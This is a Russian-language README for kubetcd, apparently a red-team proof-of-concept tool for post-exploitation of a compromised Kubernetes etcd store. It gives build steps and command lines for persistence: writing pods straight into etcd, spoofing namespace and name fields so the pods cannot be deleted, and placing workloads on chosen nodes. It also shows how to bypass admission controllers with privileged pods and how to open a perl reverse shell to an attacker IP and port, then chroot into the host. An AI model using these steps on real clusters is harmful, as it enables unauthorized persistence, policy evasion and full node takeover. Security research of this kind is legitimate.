
Постэксплуатация скомпрометированного etcd: закрепление (persistence) и удалённая оболочка на узлах.
Обёртка над https://github.com/jpbetz/auger.
Инструмент автоматизирует развертывание подов путём прямой записи в etcd. Включает несколько функций для постэксплуатации скомпрометированных etcd.
[!WARNING]
Это PoC, не используйте его в производственной среде. Прямая запись в etcd может привести к несогласованности или повреждению данных, из-за чего логикаkube-apiserverможет не смочь получить или обработать данные из etcd. Тестовые среды с несколькими узлами можно развернуть с помощью KIND
Основной репозиторий auger предоставляет основные функции для сериализации и десериализации protobuf-записей в etcd. Kubetcd — это PoC, который оборачивает эти функции, чтобы приблизить etcdctl к обычному клиенту kubectl. В сценарии со скомпрометированным etcd kubetcd попытается использовать модифицированные и привилегированные поды для получения закрепления и привилегированного доступа к любому/всем хосту(ам) в кластере. Обратите внимание: в настоящее время kubetcd поддерживает только операции с подами.
Kubetcd берёт сертификаты и ключи для аутентификации в сервисе etcd из следующих путей по умолчанию:
Кроме того, конечная точка по умолчанию задана как 127.0.0.1:2379
Все указанные выше значения по умолчанию можно изменить с помощью параметров.
Также должен быть установлен etcdctl — клиент для etcd.
sudo apt install etcd-client
Клонируйте и соберите:
git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .
Вы можете столкнуться со следующей ошибкой:
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)
Если это произошло, соберите kubetcd с помощью Golang 1.19.
Об основных функциях auger, которые по-прежнему доступны, см. https://github.com/jpbetz/auger. В этом README описаны только добавленные новые функции обёртки:
./kubetcd -h
./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>
templateName должен быть запущенным подом в пространстве имён default:
./kubetcd create pod <name> -t <templateName>
Вы можете перезаписать запущенный под, просто задав одинаковые значения name и templateName.
./kubetcd create pod <name> -t <templateName> --image <image>
./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"
ETCD сохраняет новые поды в /registry/pods/<namespace>/<name>, но поля namespace и name могут быть подделаны.
В таком случае эти поды можно перечислить с помощью kubectl, но нельзя удалить.
./kubetcd create pod <name> -t <templateName> -p <randomentry>
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace
Развертывайте рабочую нагрузку на любом узле по своему усмотрению:
./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>
Развертывайте привилегированные поды в ограниченных пространствах имён. Это позволит обойти встроенные AdmissionControllers, такие как PSP, PSA, или любые другие политики, основанные на настраиваемых правилах, например OPA Gatekeer или Kyverno:
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P
Флаг -P установит для любого пода статус privileged и будет использовать общие пространства имён network, PID и IPC с базовым узлом.
Развертывайте привилегированные поды в ограниченных пространствах имён и получайте удалённую оболочку:
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>
Это запустит обратную оболочку на perl, которая по умолчанию присутствует во многих образах.
Получив обратную оболочку, смените корневую файловую систему с помощью chroot /host, чтобы получить полный доступ к узлу.
corev1